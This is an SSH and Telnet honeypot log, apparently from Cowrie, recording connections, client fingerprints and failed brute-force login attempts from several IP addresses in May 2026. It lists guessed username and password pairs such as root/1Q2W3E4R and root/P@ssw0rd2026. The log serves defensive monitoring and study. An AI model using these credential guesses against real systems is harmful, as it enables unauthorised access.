{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44716,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3f51d89ca5","protocol":"ssh","message":"New connection: 176.65.132.129:44716 (10.17.0.5:22) [session: ed3f51d89ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:00.573798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:00.578489Z","src_ip":"176.65.132.129","session":"ed3f51d89ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:00.660990Z","src_ip":"176.65.132.129","session":"ed3f51d89ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.7232027053833,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:00.892031Z","src_ip":"38.60.198.128","session":"09d66ac08378","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:00.908316Z","src_ip":"176.65.132.129","session":"ed3f51d89ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:02.012931Z","src_ip":"176.65.132.129","session":"ed3f51d89ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44718,"dst_ip":"10.17.0.5","dst_port":22,"session":"a884229a71be","protocol":"ssh","message":"New connection: 176.65.132.129:44718 (10.17.0.5:22) [session: a884229a71be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:03.994324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:04.004024Z","src_ip":"176.65.132.129","session":"a884229a71be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:04.093536Z","src_ip":"176.65.132.129","session":"a884229a71be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:04.539588Z","src_ip":"176.65.132.129","session":"a884229a71be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:05.630976Z","src_ip":"176.65.132.129","session":"a884229a71be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44518,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f1a2916f5e","protocol":"telnet","message":"New connection: 38.54.119.93:44518 (10.17.0.5:23) [session: 28f1a2916f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:06.503015Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7c1f685162","protocol":"ssh","message":"New connection: 199.195.254.215:48196 (10.17.0.5:22) [session: 4f7c1f685162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.023175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.032457Z","src_ip":"199.195.254.215","session":"4f7c1f685162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.565963Z","src_ip":"199.195.254.215","session":"4f7c1f685162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33136,"dst_ip":"10.17.0.5","dst_port":22,"session":"40defc770392","protocol":"ssh","message":"New connection: 176.65.132.129:33136 (10.17.0.5:22) [session: 40defc770392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.578792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.584004Z","src_ip":"176.65.132.129","session":"40defc770392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.667657Z","src_ip":"176.65.132.129","session":"40defc770392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:07.913929Z","src_ip":"176.65.132.129","session":"40defc770392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:08.999632Z","src_ip":"176.65.132.129","session":"40defc770392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":37000,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2b780a39bf","protocol":"telnet","message":"New connection: 64.227.82.147:37000 (159.203.135.109:23) [session: 7f2b780a39bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:09.739372Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.","message":"login attempt [root/admin.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:09.825924Z","src_ip":"199.195.254.215","session":"4f7c1f685162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.377135038375854,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.076840Z","src_ip":"64.227.82.147","session":"d2f6c1c2073c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":58596,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e1551eee24","protocol":"ssh","message":"New connection: 95.215.8.165:58596 (10.17.0.5:22) [session: 27e1551eee24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.340249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.345777Z","src_ip":"95.215.8.165","session":"27e1551eee24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.429896Z","src_ip":"95.215.8.165","session":"27e1551eee24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server4you","message":"login attempt [root/server4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.829722Z","src_ip":"95.215.8.165","session":"27e1551eee24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33138,"dst_ip":"10.17.0.5","dst_port":22,"session":"689762c9011a","protocol":"ssh","message":"New connection: 176.65.132.129:33138 (10.17.0.5:22) [session: 689762c9011a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.964266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:10.969338Z","src_ip":"176.65.132.129","session":"689762c9011a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:11.051330Z","src_ip":"176.65.132.129","session":"689762c9011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:11.302346Z","src_ip":"176.65.132.129","session":"689762c9011a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35680,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d53562f8c31","protocol":"telnet","message":"New connection: 38.60.198.128:35680 (159.203.135.109:23) [session: 3d53562f8c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:11.456757Z"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:11.529218Z","src_ip":"199.195.254.215","session":"4f7c1f685162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:11.911958Z","src_ip":"95.215.8.165","session":"27e1551eee24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:12.422393Z","src_ip":"176.65.132.129","session":"689762c9011a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33140,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebfeb727a3fa","protocol":"ssh","message":"New connection: 176.65.132.129:33140 (10.17.0.5:22) [session: ebfeb727a3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:14.349014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:14.354000Z","src_ip":"176.65.132.129","session":"ebfeb727a3fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:14.469256Z","src_ip":"176.65.132.129","session":"ebfeb727a3fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:14.925200Z","src_ip":"176.65.132.129","session":"ebfeb727a3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:16.014835Z","src_ip":"176.65.132.129","session":"ebfeb727a3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.25510907173157,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:17.019948Z","src_ip":"64.227.82.147","session":"98f114166479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aee9a855869","protocol":"ssh","message":"New connection: 176.65.132.129:38478 (10.17.0.5:22) [session: 9aee9a855869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:17.962274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:17.967646Z","src_ip":"176.65.132.129","session":"9aee9a855869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:18.051451Z","src_ip":"176.65.132.129","session":"9aee9a855869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:18.310328Z","src_ip":"176.65.132.129","session":"9aee9a855869","protocol":"ssh"}
